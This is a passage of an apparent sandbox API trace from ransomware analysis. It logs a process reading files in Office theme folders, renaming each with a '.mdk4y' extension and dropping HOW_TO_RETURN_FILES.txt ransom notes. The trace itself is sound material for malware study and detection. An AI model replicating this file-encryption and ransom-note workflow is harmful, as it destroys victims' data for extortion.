lpOverlapped=0x0) returned 1 [0119.145] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819437500000) returned 1 [0119.145] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819437500000) returned 1 [0119.145] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf.mdk4y")) returned 1 [0119.145] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.145] AreFileApisANSI () returned 1 [0119.145] GetACP () returned 0x4e4 [0119.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0119.146] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.146] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819437600000) returned 1 [0119.146] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4d0, lpOverlapped=0x0) returned 1 [0119.147] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819437700000) returned 1 [0119.147] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819437700000) returned 1 [0119.147] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.mdk4y")) returned 1 [0119.191] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.191] AreFileApisANSI () returned 1 [0119.191] GetACP () returned 0x4e4 [0119.191] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0119.191] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.192] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819442200000) returned 1 [0119.192] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x47ed, lpOverlapped=0x0) returned 1 [0119.209] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819443900000) returned 1 [0119.209] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819443900000) returned 1 [0119.209] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.mdk4y")) returned 1 [0119.210] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0119.210] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0119.210] AreFileApisANSI () returned 1 [0119.210] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0119.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0119.210] GetFileType (hFile=0x130) returned 0x1 [0119.211] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0119.211] AreFileApisANSI () returned 1 [0119.211] GetACP () returned 0x4e4 [0119.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LAYERS", cchWideChar=6, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="LAYERSL", lpUsedDefaultChar=0x37df4c) returned 6 [0119.211] AreFileApisANSI () returned 1 [0119.211] GetACP () returned 0x4e4 [0119.211] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=63, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\(ſ") returned 63 [0119.212] AreFileApisANSI () returned 1 [0119.212] GetACP () returned 0x4e4 [0119.212] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0119.212] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.212] AreFileApisANSI () returned 1 [0119.212] GetACP () returned 0x4e4 [0119.212] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0119.212] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.212] AreFileApisANSI () returned 1 [0119.212] GetACP () returned 0x4e4 [0119.212] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LAYERS.ELM", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="LAYERS.ELMtefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 10 [0119.212] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.213] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819444200000) returned 1 [0119.213] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xe743, lpOverlapped=0x0) returned 1 [0119.232] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819446200000) returned 1 [0119.232] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819446200000) returned 1 [0119.233] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm.mdk4y")) returned 1 [0119.234] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.234] AreFileApisANSI () returned 1 [0119.234] GetACP () returned 0x4e4 [0119.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LAYERS.INF", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="LAYERS.INF", lpUsedDefaultChar=0x37dec0) returned 10 [0119.234] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.237] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819446700000) returned 1 [0119.237] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x215, lpOverlapped=0x0) returned 1 [0119.238] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819446800000) returned 1 [0119.238] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819446800000) returned 1 [0119.238] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf.mdk4y")) returned 1 [0119.239] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.239] AreFileApisANSI () returned 1 [0119.239] GetACP () returned 0x4e4 [0119.239] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0119.239] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.239] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819446900000) returned 1 [0119.239] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x67b, lpOverlapped=0x0) returned 1 [0119.275] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819450500000) returned 1 [0119.275] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819450500000) returned 1 [0119.276] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.mdk4y")) returned 1 [0119.287] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.287] AreFileApisANSI () returned 1 [0119.287] GetACP () returned 0x4e4 [0119.287] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0119.287] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.288] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819451800000) returned 1 [0119.288] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xaf32, lpOverlapped=0x0) returned 1 [0119.323] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819455300000) returned 1 [0119.323] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819455300000) returned 1 [0119.323] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.mdk4y")) returned 1 [0119.324] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0119.324] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0119.324] AreFileApisANSI () returned 1 [0119.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0119.324] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0119.325] GetFileType (hFile=0x130) returned 0x1 [0119.326] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0119.326] AreFileApisANSI () returned 1 [0119.326] GetACP () returned 0x4e4 [0119.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LEVEL", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="LEVELS", lpUsedDefaultChar=0x37df4c) returned 5 [0119.326] AreFileApisANSI () returned 1 [0119.326] GetACP () returned 0x4e4 [0119.326] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=62, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\筰kƁ") returned 62 [0119.326] AreFileApisANSI () returned 1 [0119.326] GetACP () returned 0x4e4 [0119.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0119.326] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.326] AreFileApisANSI () returned 1 [0119.326] GetACP () returned 0x4e4 [0119.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0119.326] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.326] AreFileApisANSI () returned 1 [0119.326] GetACP () returned 0x4e4 [0119.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LEVEL.ELM", cchWideChar=9, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="LEVEL.ELMotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 9 [0119.326] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.327] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819455700000) returned 1 [0119.327] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xe2ec, lpOverlapped=0x0) returned 1 [0119.348] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819457800000) returned 1 [0119.348] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819457800000) returned 1 [0119.349] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm.mdk4y")) returned 1 [0119.349] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.349] AreFileApisANSI () returned 1 [0119.349] GetACP () returned 0x4e4 [0119.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LEVEL.INF", cchWideChar=9, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="LEVEL.INF", lpUsedDefaultChar=0x37dec0) returned 9 [0119.349] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.350] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819457900000) returned 1 [0119.350] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x20e, lpOverlapped=0x0) returned 1 [0119.350] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819458000000) returned 1 [0119.350] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819458000000) returned 1 [0119.351] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf.mdk4y")) returned 1 [0119.351] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.351] AreFileApisANSI () returned 1 [0119.351] GetACP () returned 0x4e4 [0119.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0119.351] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.352] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819458200000) returned 1 [0119.352] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x563, lpOverlapped=0x0) returned 1 [0119.353] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819458300000) returned 1 [0119.353] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819458300000) returned 1 [0119.354] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.mdk4y")) returned 1 [0119.355] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.355] AreFileApisANSI () returned 1 [0119.355] GetACP () returned 0x4e4 [0119.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0119.355] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.355] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819458500000) returned 1 [0119.355] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbbf3, lpOverlapped=0x0) returned 1 [0119.357] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819458700000) returned 1 [0119.357] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819458700000) returned 1 [0119.357] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.mdk4y")) returned 1 [0119.358] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0119.358] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0119.358] AreFileApisANSI () returned 1 [0119.358] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0119.358] CreateFileW 